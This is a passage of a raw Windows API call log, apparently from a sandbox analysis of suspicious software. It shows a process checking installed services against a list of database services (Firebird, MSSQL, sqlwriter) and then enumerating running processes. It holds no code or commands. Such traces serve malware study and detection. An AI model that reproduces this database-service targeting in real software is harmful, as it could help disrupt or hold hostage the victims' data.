lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0099.387] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0099.387] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0099.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0099.387] lstrlenW (lpString="PcaSvc") returned 6 [0099.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0099.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0099.387] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0099.387] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0099.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0099.387] lstrlenW (lpString="PlugPlay") returned 8 [0099.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0099.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0099.388] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0099.388] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0099.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0099.388] lstrlenW (lpString="Power") returned 5 [0099.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0099.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0099.388] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0099.388] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0099.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0099.388] lstrlenW (lpString="ProfSvc") returned 7 [0099.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0099.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0099.388] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0099.388] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0099.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0099.388] lstrlenW (lpString="RpcEptMapper") returned 12 [0099.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0099.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0099.388] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0099.388] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0099.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0099.388] lstrlenW (lpString="RpcSs") returned 5 [0099.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0099.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0099.388] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0099.388] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0099.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0099.388] lstrlenW (lpString="SamSs") returned 5 [0099.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0099.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0099.389] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0099.389] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0099.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0099.389] lstrlenW (lpString="Schedule") returned 8 [0099.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0099.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0099.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0099.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0099.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0099.389] lstrlenW (lpString="SecurityHealthService") returned 21 [0099.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0099.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0099.389] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0099.389] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0099.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0099.389] lstrlenW (lpString="SENS") returned 4 [0099.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0099.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0099.389] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0099.389] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0099.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0099.389] lstrlenW (lpString="ShellHWDetection") returned 16 [0099.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0099.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0099.389] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0099.389] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0099.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0099.389] lstrlenW (lpString="Spooler") returned 7 [0099.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0099.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0099.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0099.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0099.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0099.389] lstrlenW (lpString="SSDPSRV") returned 7 [0099.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0099.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0099.390] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0099.390] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0099.390] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x620be8 | out: hHeap=0x5c0000) returned 1 [0099.390] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2b4 [0099.413] Process32FirstW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.414] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0099.414] lstrlenW (lpString="System") returned 6 [0099.414] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0099.415] lstrlenW (lpString="smss.exe") returned 8 [0099.415] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.416] lstrlenW (lpString="csrss.exe") returned 9 [0099.416] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0099.416] lstrlenW (lpString="wininit.exe") returned 11 [0099.416] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.417] lstrlenW (lpString="csrss.exe") returned 9 [0099.417] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0099.418] lstrlenW (lpString="winlogon.exe") returned 12 [0099.418] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0099.418] lstrlenW (lpString="services.exe") returned 12 [0099.418] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0099.419] lstrlenW (lpString="lsass.exe") returned 9 [0099.419] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.420] lstrlenW (lpString="svchost.exe") returned 11 [0099.420] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0099.420] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0099.420] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0099.421] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0099.421] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.422] lstrlenW (lpString="svchost.exe") returned 11 [0099.422] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0099.423] lstrlenW (lpString="dwm.exe") returned 7 [0099.423] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.423] lstrlenW (lpString="svchost.exe") returned 11 [0099.423] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.424] lstrlenW (lpString="svchost.exe") returned 11 [0099.424] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.425] lstrlenW (lpString="svchost.exe") returned 11 [0099.425] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.425] lstrlenW (lpString="svchost.exe") returned 11 [0099.425] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.426] lstrlenW (lpString="svchost.exe") returned 11 [0099.426] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.427] lstrlenW (lpString="svchost.exe") returned 11 [0099.427] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.427] lstrlenW (lpString="svchost.exe") returned 11 [0099.427] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.428] lstrlenW (lpString="svchost.exe") returned 11 [0099.428] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.429] lstrlenW (lpString="svchost.exe") returned 11 [0099.429] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0099.429] lstrlenW (lpString="spoolsv.exe") returned 11 [0099.429] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.430] lstrlenW (lpString="svchost.exe") returned 11 [0099.430] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.430] lstrlenW (lpString="svchost.exe") returned 11 [0099.430] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0099.431] lstrlenW (lpString="audiodg.exe") returned 11 [0099.431] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0099.432] lstrlenW (lpString="sihost.exe") returned 10 [0099.432] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.432] lstrlenW (lpString="svchost.exe") returned 11 [0099.432] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0099.433] lstrlenW (lpString="taskhostw.exe") returned 13 [0099.433] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0099.434] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0099.434] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0099.435] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0099.435] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0099.435] lstrlenW (lpString="explorer.exe") returned 12 [0099.435] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0099.436] lstrlenW (lpString="Memory Compression") returned 18 [0099.436] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0099.437] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0099.437] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0099.439] lstrlenW (lpString="SearchUI.exe") returned 12 [0099.439] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0099.440] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0099.440] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0099.440] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0099.440] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0099.441] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0099.441] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0099.441] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0099.441] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0099.442] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0099.442] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0099.443] lstrlenW (lpString="conhost.exe") returned 11 [0099.443] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0099.443] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0099.443] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0099.444] lstrlenW (lpString="upper arc.exe") returned 13 [0099.444] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0099.445] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0099.445] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0099.451] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0099.451] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0099.452] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0099.452] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0099.453] lstrlenW (lpString="blademcdonald.exe") returned 17 [0099.453] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0099.454] lstrlenW (lpString="courage.exe") returned 11 [0099.454] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0099.645] lstrlenW (lpString="pearl.exe") returned 9 [0099.645] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0099.646] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0099.646] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0099.647] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0099.647] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0099.648] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0099.648] Process32NextW (in: hSnapshot=0x2b4, lppe=0x249fd2c | out: 